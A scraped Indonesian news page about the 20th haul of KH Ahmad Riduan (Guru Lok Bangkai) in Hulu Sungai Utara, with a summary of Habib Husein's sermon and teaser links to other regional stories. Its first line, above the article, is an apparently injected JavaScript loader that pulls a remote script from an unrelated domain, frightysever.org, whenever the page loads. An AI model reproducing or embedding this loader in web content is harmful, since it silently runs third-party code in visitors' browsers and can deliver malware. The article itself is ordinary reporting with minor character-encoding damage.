(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Diawali dengan pembacaan Surat Yasin dan pembacaan Maulid Al-Azab yang dipimpin Guru Fahmi dari Sekumpul Martapura, peringatan Haul ke-20 Tuan Guru KH Ahmad Riduan atau dikenal Guru Lok Bangkai di Desa Lok Bangkai, Kecamatan Banjang Kabupaten Hulu Sungai Utara (HSU), dihadiri ribuan jamaah dari pelosok HSU dan luar daerah, Senin (22/4) malam.
Acara dimulai ba’da Isya, ribuan jamaah sudah memadati acara sejak Maghrib, di sepanjang jalan menuju tempat acara berlangsung. Warga sekitar menyediakan makanan serta minuman secara gratis, sehingga membuat ramai acara.
Haul ke-20 Guru Lok Bangkai juga di live report televisi lokal Dinas Kominfo HSU, dengan diberikannya layar proyektor di beberapa titik, sehingga meskipun jauh para jamaah tetap dapat melihat layar tersebut.
Haul ke-20 kali ini juga dihadiri oleh ulama, para habib serta pejabat Pemkab HSU, seperti tampak hadir Bupati HSU H Abdul Wahid HK, dan Plt Sekda HSU H.Suyadi.
Mengisi tausiah di dalam Haul ini adalah Habib Husein Bin Alwy Bin Agiel dari Probolinggo, Jawa Timur.
Pembacaan manakib atau riwayat hidup singkat Tuan Guru KH Ahmad Riduan (Guru Lok Bangkai) yang dibacakan oleh KH Ahmad Mu’thi pimpinan Pondok Pesantren Raudhatul Tholibin Amuntai ditutup dengan pembacaan tahlil.
Sementara itu, dalam tausiah Habib Husein mengatakan, kedatangan ke acara haul kali ini tidak lain tidak bukan dikarenakan kecintaan kepada ulama, khususnya kepada sohibul haul. Padahal Habib Husen mengaku tak pernah kenal dengan sosok almarhum Guru Lok Bangkai. Namun karena kecintaannya kepada ulama dan Auliya Allah maka ia berhadir di acara kali ini.
“Apabila kita bercerita tentang sosok ulama ataupun Auliya Allah SWT maka tidak akan pernah selesai diceritakan, maka oleh karena itu perlu ambil hikmahnya saja dari pada itu. Jadikan kecintaan kita kepada ulama dan Auliya Allah SWT sebagai modal kelak di hari akhir, Karena seseorang akan bersama orang yang ia cintai kelak di akhirat nanti,†beber Habib Husein.
Habib Husein memberikan contoh, dari kisah nyata yang terjadi pada Ahsabul Kahfi di dalam Al Qur’an yaitu karena kecintaan anjing di dalam terhadap tuannya yang dimuliakan Allah SWT, maka anjing itupun akhirnya ikut dimuliakan Allah SWT.
“Hal ini tertuang di dalam Al Qur’an, walaupun anjing tersebut binatang yang najis, namun karena cintanya kepada tuannya yang dimuliakan Allah, maka Allah pun akhirnya memuliakannya, apalagi kita manusia yang mulia, semoga kita dimuliakan Allah karena kita cinta terhadap Auliya-Nya,†pungkas Habib Husein. (dew)
KANALKALIMANTAN.COM, MARTAPURA - Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Puluhan warga Banjarmasin harus kehilangan tempat tinggal dan mengungsi akibat kebakaran permukiman… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upaya memecah masalah lalu lintas di perempatan Jalan Guntung Manggis - Trikora… Read More
Polda Kalsel Turunkan 1.200 Personel, Amankan Kabupaten Banjar dan Kota Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
This website uses cookies.